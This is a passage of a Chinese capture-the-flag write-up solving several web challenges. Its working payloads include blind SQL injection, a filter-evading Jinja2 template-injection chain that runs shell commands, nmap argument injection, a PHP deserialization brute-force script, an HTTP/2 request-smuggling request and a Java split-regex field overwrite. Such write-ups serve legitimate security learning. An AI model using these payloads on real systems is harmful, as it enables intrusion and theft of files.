,两个payload中n
相等那就是库和表对应。
最后payload得到flag:
payload = '1\') and (select (select * from ctf.flll444aaggg9 limit 2,1) like binary \'{}%\')#'
关于联合注入注不出字段位的问题。出题人说:
手注确实应该注不出来,好像五十多还是六十多字段
可以通过groupby判断
我本意是过滤了or然后用groupby去判断字段数,但是看师傅们都跳过了这个步骤
hhhhhhhhh
题目描述:好好好这都给你们做出来了,这次我拜托了pursue0h帮我收集了你们前几次的payload,这次绝对不可能让你们做出来,你们绝对是klf
开题:
信息搜集,路由/secr3ttt
我klf_2的payload直接可以继续用,嘶,那应该是没收集到我的payload吧。
payload:
/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(32),chhr(47))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(32),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}
题目描述:nmap也太好用了!不是吧,你还不会用吗?
参考文章:
[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客
直接过滤了<
,无法写,只能带出文件了。同时还过滤了-iL
、-oN
等参数。
这题应该也用了PHP中的escapeshellarg()
函数,在asisctf-2023 hello
中遇到过,会剔除不可见字符。这个特性可以用来绕过对-iL
、-oN
等参数的过滤。
Nmap的相关参数选项:
利用-iL参数将文件外带,利用-oG参数将结果写入当前目录的文件
payload如下:
ip=' -i%faL /flag -o%faN 1.txt '
题目描述:最适合梅菲斯特的一题
开题直接给了源码,无利用点的反序列化。
无利用,解读一下代码。考点就是绕过__weakeup
+glob://
协议+爆破文件名。
glob:// — 查找匹配的文件路径模式
也可以说返回当前路径下所有文件的文件名
支持通配符如:
glob:///var/www/html/*.php
脚本如下:
import base64
import requests
import time
url = 'https://hg0vl3j25gw55p3ktv9oed5md.node.game.sycsec.com/?tuizi='
strrr=''
#glob:///var/www/html/The*长度25
count=26
while True:
for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789_-+[{]};:\'",<>/`!@#$%^&()= .?\x00':
payload = 'O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'+str(count)+':"glob:///var/www/html/The' + strrr+i + '*";}s:19:" Hoshino Aquamarine";N;'
res_url = url + base64.b64encode(payload.encode('utf-8')).decode('utf-8')
resp = requests.get(url=res_url)
print(payload)
if 'Kurokawa Akane' in resp.text:
strrr=strrr+i
count=count+1
print(strrr)
break
if i=='\x00':
exit('结束')
题目描述:这是一个简单的H2转H1的小网站,站长认为他很安全,没有人能在他的网站走私任何东西。
开题是一个登陆界面。
注册一个号登录一下。flag应该在秘密文章里面,只有admin
可以访问。
其他有用的信息如下:
首先想到的就是Http2请求走私。这题是CL请求走私,缩写说明 CL=Content-Length TL=Transfer-Encoding。
参考文章:
学好此文,国家赠送金手铐和职业套装,数年管吃管住-HTTP请求夹带(HTTP request smuggling)_请求夹带是什么_Eason_LYC的博客-CSDN博客
WEB安全-金手铐系列-HTTP/2高级请求夹带攻击–Advanced request smuggling-CSDN博客
在重发器选项中,关掉**update Content-length ** 打开 Allow HTTP/2 ALPN override
最后一定要加一个空行。
最后的请求包:
POST / HTTP/2
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc=
Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /admin HTTP/1.1
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE1MzY1OXxZZDJ0S0UzU1hhb0kwYXJpRG9lc29vYlhMR0tzdGp6SUlESjdDOWt5VUJSMHJrZnRFLXdMY21vaC1aYTZ2cGp2dkFMcExKeFp6UVZPSjYtQkd3M19LTUhLdXA0dm9yLTl8DIDEaXHFlq1d3J707WOwvPlwbFuGLXWdLDPKsR3qCEc=
Content-Length: 17
x=Jay17xxxxxxxxx
关键就这几部分:
题目描述:不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊)
主要代码:
controller/home.java
package com.example.springwebdemo.controller;
import com.example.springwebdemo.redis;
import com.example.springwebdemo.input;
import com.example.springwebdemo.model.User;
import com.example.springwebdemo.output;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;
@Controller
public class home {
@RequestMapping(value = "/",method = RequestMethod.GET)
public String index(HttpSession session) throws IOException {
return "home";
}
@RequestMapping(value = "/error",method = RequestMethod.GET)
public String error(){
return "error";
}
@RequestMapping(value = "/login",method = RequestMethod.POST)
public String login(HttpSession session, HttpServletRequest request, RedirectAttributes redirectAttributes) throws Exception {
String username = request.getParameter("username");
String password = request.getParameter("password");
if (username.equals("admin") && password.equals("123456")){
session.setAttribute("user", username);
if (redis.get(session.getId()+"admin") == null){
User u = new User();
u.name ="admin";
u.sex = "男";
u.age = 10;
redis.save(session.getId()+"admin",marshalinfo(u));
}
return "redirect:admin";
}else {
session.setAttribute("user", "");
redirectAttributes.addAttribute("msg","登录失败");
return "redirect:error";
}
}
@RequestMapping(value = "/admin",method = RequestMethod.GET)
public String admin(HttpSession session, RedirectAttributes redirectAttributes, Model model) throws Exception{
Object user = session.getAttribute("user");
if (user == null || user.toString().equals("")){
redirectAttributes.addAttribute("msg","请先登录");
return "redirect:error";
}
String name = user.toString();
User userinfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+name)))).readObject();
Path path = Paths.get(userinfo.secretFile);
if (!path.startsWith("/tmp")){
redirectAttributes.addAttribute("msg","secret must be under /tmp");
return "redirect:error";
}
byte[] secret = Files.readAllBytes(path);
model.addAttribute("user",userinfo);
model.addAttribute("secret",new String(secret));
return "admin";
}
@RequestMapping(value = "/marshalinfo",method = RequestMethod.POST)
@ResponseBody
public String marshalinfo(User u) throws Exception {
u.secretFile ="/tmp/admin_secret";
ByteArrayOutputStream out = new ByteArrayOutputStream();
output o = new output(out);
o.writeObject(u);
return Base64.getEncoder().encodeToString(out.toByteArray());
}
@RequestMapping(value = "/invoke",method = RequestMethod.POST)
@ResponseBody
public String save(HttpSession session,@RequestBody Map<String, String> info) throws Exception {
Object user = session.getAttribute("user");
if (user != null && !user.equals("")){
String action = info.get("action");
switch (action){
case "update":
try{
String data = info.get("data");
User newInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(data))).readObject();
User oldInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+user.toString())))).readObject();
oldInfo.name = newInfo.name;
oldInfo.sex = newInfo.sex;
oldInfo.age = newInfo.age;
oldInfo.hash = newInfo.hash;
ByteArrayOutputStream out = new ByteArrayOutputStream();
output o = new output(out);
o.writeObject(oldInfo);
redis.save(session.getId()+user.toString(),Base64.getEncoder().encodeToString(out.toByteArray()));
return "更新成功 name、sex、age成功";
}catch (Exception e){
return "更新失败: "+e;
}
default:
return "受支持action: " +action;
}
}else {
return "请先登录";
}
}
}
model/User.java
package com.example.springwebdemo.model;
import org.springframework.util.StringUtils;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class User implements Serializable {
public static String separator = "O.o";
public String hash = "";
public String name = "张三";
public String sex = "男";
public int age;
public String secretFile ="/tmp/admin_secret";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getSex() {
return sex;
}
public void setSex(String sex) {
this.sex = sex;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getSecretFile() {
return secretFile;
}
public void setSecretFile(String secretFile) {
this.secretFile = secretFile;
}
private void readObject(java.io.ObjectInputStream s)
throws Exception{
String data = (String) s.readObject();
Field[] fields = this.getClass().getFields();
if (StringUtils.countOccurrencesOf(data, User.separator) != fields.length-2){
throw new Exception(String.format("`%s` is the separator of the split method, the number of `%s` occurrences must be "+(fields.length-2),User.separator,User.separator));
}
String[] splits = data.split(User.separator);
for (int i = 1; i < fields.length; i++) {
if(fields[i].getType().getName().equals("int")){
fields[i].set(this,Integer.parseInt(splits[i-1]));
}else{
fields[i].set(this,splits[i-1]);
}
}
this.hash = (String) s.readObject();
if (StringUtils.countOccurrencesOf(this.hash, User.separator) != 0){
throw new Exception("hash cont content O.o");
}
}
private void writeObject(ObjectOutputStream os)
throws Exception{
Field[] fields = this.getClass().getFields();
ArrayList<String> datas = new ArrayList<>();
for (int i = 1; i < fields.length; i++) {
if(fields[i].getType().getName().equals("int")){
datas.add(String.valueOf(fields[i].get(this)));
}else{
datas.add(fields[i].get(this).toString());
}
}
os.writeObject(String.join(User.separator,datas));
os.writeObject(String.join("-",datas));
}
}
看源码可以知道账号密码是admin
、123456
这题考察了java中String.split的特性,String.split()的参数是分隔符,分隔符遵循正则匹配。题目中的分隔符是O.o,在正则匹配的模式中.(点)会被匹配成任意字符。
我们可以在可改的数据中加入分隔符,从而改变无法改变的数据secretFile
。我们不用自己序列化/反序列化,题目会自动序列化/反序列化的。
登录后,在名字那一栏输入111OxoJay17Oxo1Oxo19Oxo/tmp/flagOxo111
,点击保存,secretFile
属性就会被赋值成/tmp/flag
。flag会自动显示在秘密框。
修改后。